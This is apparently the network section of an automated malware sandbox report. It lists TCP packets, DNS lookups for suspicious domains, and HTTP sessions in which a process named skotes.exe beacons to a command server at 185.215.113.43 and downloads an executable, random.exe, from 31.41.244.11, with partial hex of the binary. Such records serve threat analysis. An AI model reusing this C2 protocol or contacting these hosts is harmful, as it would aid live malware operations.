Dec 16, 2024 09:01:44.592984915 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.593190908 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.593225002 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.593733072 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.593739033 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.593790054 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.593808889 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.593939066 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.594022036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.594034910 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.594126940 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.595128059 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.595201015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.595237970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.595333099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.595796108 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.595817089 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.596196890 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.596326113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.596360922 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.596368074 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.596404076 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.596409082 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.596410990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.596410990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.596508026 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.596513987 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.596534014 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.597137928 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.597146034 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.597517967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.597613096 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.597640991 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.597703934 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.598336935 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.598342896 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.598440886 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.598445892 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.598680973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.598772049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.598807096 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.598920107 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.599601984 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.599610090 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.599891901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.599953890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.599986076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.600056887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.600862026 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.600867987 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.600967884 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.600972891 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.601073027 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.601120949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.601128101 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.601133108 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.601181984 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.602001905 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.602257013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.602315903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.602346897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.602416039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.603478909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.603554964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.603581905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.603651047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.604633093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.604717016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.604810953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.604872942 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.605829000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.605921030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.605945110 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.606010914 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.607011080 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.607074976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.607120991 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.607165098 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.608155012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.608268976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.666667938 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.666759014 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.666944981 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.666977882 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667085886 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667090893 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667124033 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667140961 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667242050 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667247057 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667354107 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667418957 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667423964 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667428970 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667516947 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667522907 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667577982 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667643070 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667732000 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667767048 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667867899 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667886019 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667958021 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.667963982 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668044090 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668095112 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668195963 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668200970 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668225050 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668255091 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668410063 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668416023 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668477058 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668495893 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668591022 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668652058 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668720007 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668798923 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668806076 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668859005 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668910027 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.668927908 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.669003010 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.669044018 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.669107914 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.669114113 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.669188023 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.669205904 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.669267893 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.669326067 CET	80	49906	141.8.192.141	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 09:01:28.846824884 CET	192.168.2.5	1.1.1.1	0xdd02	Standard query (0)	drive-connect.cyou	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:29.175611973 CET	192.168.2.5	1.1.1.1	0xd8ce	Standard query (0)	se-blurry.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:29.471873045 CET	192.168.2.5	1.1.1.1	0xbdb8	Standard query (0)	zinc-sneark.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:29.699675083 CET	192.168.2.5	1.1.1.1	0xa3ba	Standard query (0)	dwell-exclaim.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:29.933790922 CET	192.168.2.5	1.1.1.1	0x5a4e	Standard query (0)	formy-spill.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:30.155941963 CET	192.168.2.5	1.1.1.1	0xb0bb	Standard query (0)	covery-mover.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:30.377882957 CET	192.168.2.5	1.1.1.1	0x2509	Standard query (0)	dare-curbys.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:30.594496012 CET	192.168.2.5	1.1.1.1	0x8278	Standard query (0)	print-vexer.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:30.998333931 CET	192.168.2.5	1.1.1.1	0xac11	Standard query (0)	impend-differ.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:31.300328016 CET	192.168.2.5	1.1.1.1	0xfb4c	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:37.958029032 CET	192.168.2.5	1.1.1.1	0x82b2	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:37.958029032 CET	192.168.2.5	1.1.1.1	0x3f15	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 16, 2024 09:01:42.647517920 CET	192.168.2.5	1.1.1.1	0x1697	Standard query (0)	home.fivegr5sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:42.647624016 CET	192.168.2.5	1.1.1.1	0x8054	Standard query (0)	home.fivegr5sb.top	28	IN (0x0001)	false
Dec 16, 2024 09:01:46.123920918 CET	192.168.2.5	1.1.1.1	0x603c	Standard query (0)	home.fivegr5sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:46.124208927 CET	192.168.2.5	1.1.1.1	0x844f	Standard query (0)	home.fivegr5sb.top	28	IN (0x0001)	false
Dec 16, 2024 09:01:58.294867039 CET	192.168.2.5	1.1.1.1	0x3163	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:02:10.425748110 CET	192.168.2.5	1.1.1.1	0x8655	Standard query (0)	fivegr5sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:02:10.426009893 CET	192.168.2.5	1.1.1.1	0x86b8	Standard query (0)	fivegr5sb.top	28	IN (0x0001)	false
Dec 16, 2024 09:02:13.389914989 CET	192.168.2.5	1.1.1.1	0xefd9	Standard query (0)	fivegr5sb.top	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:02:13.389969110 CET	192.168.2.5	1.1.1.1	0xf1aa	Standard query (0)	fivegr5sb.top	28	IN (0x0001)	false
Dec 16, 2024 09:02:18.143167019 CET	192.168.2.5	1.1.1.1	0x46ff	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:02:18.143284082 CET	192.168.2.5	1.1.1.1	0x9ef1	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 09:01:29.166918039 CET	1.1.1.1	192.168.2.5	0xdd02	Name error (3)	drive-connect.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:29.468396902 CET	1.1.1.1	192.168.2.5	0xd8ce	Name error (3)	se-blurry.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:29.693895102 CET	1.1.1.1	192.168.2.5	0xbdb8	Name error (3)	zinc-sneark.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:29.929472923 CET	1.1.1.1	192.168.2.5	0xa3ba	Name error (3)	dwell-exclaim.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:30.153932095 CET	1.1.1.1	192.168.2.5	0x5a4e	Name error (3)	formy-spill.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:30.374234915 CET	1.1.1.1	192.168.2.5	0xb0bb	Name error (3)	covery-mover.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:30.591033936 CET	1.1.1.1	192.168.2.5	0x2509	Name error (3)	dare-curbys.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:30.995851994 CET	1.1.1.1	192.168.2.5	0x8278	Name error (3)	print-vexer.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:31.296834946 CET	1.1.1.1	192.168.2.5	0xac11	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:31.437299013 CET	1.1.1.1	192.168.2.5	0xfb4c	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:38.095896959 CET	1.1.1.1	192.168.2.5	0x82b2	No error (0)	httpbin.org		44.196.3.45	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:38.095896959 CET	1.1.1.1	192.168.2.5	0x82b2	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:43.180942059 CET	1.1.1.1	192.168.2.5	0x1697	No error (0)	home.fivegr5sb.top		141.8.192.141	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:46.262269020 CET	1.1.1.1	192.168.2.5	0x603c	No error (0)	home.fivegr5sb.top		141.8.192.141	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:58.681135893 CET	1.1.1.1	192.168.2.5	0x3163	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:01:58.681135893 CET	1.1.1.1	192.168.2.5	0x3163	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:02:10.713998079 CET	1.1.1.1	192.168.2.5	0x8655	No error (0)	fivegr5sb.top		141.8.192.141	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:02:13.527371883 CET	1.1.1.1	192.168.2.5	0xefd9	No error (0)	fivegr5sb.top		141.8.192.141	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:02:18.280455112 CET	1.1.1.1	192.168.2.5	0x46ff	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 16, 2024 09:02:18.280733109 CET	1.1.1.1	192.168.2.5	0x9ef1	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49805	185.215.113.43	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:03.873609066 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 09:01:05.206120014 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:01:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49816	185.215.113.43	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:06.834112883 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 09:01:08.193453074 CET	1156	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:01:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 63 35 0d 0a 20 3c 63 3e 31 30 31 35 39 39 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 35 39 39 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 35 39 39 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 35 39 39 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 [TRUNCATED] Data Ascii: 3c5 <c>1015993001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1015994001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1015995001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1015996001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1015997001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1015998001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1015999001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1016000001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1016001001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbce71914e54a61cf64d4a485a9592e100b7#1016002001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7393574df141e542404358d6d9fc1d#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49817	31.41.244.11	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:08.318664074 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 09:01:09.644192934 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:01:09 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 16, 2024 09:01:09.644320011 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 16, 2024 09:01:09.644387960 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 16, 2024 09:01:09.644454956 CET	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Dec 16, 2024 09:01:09.644471884 CET	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Dec 16, 2024 09:01:09.644486904 CET	1236	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
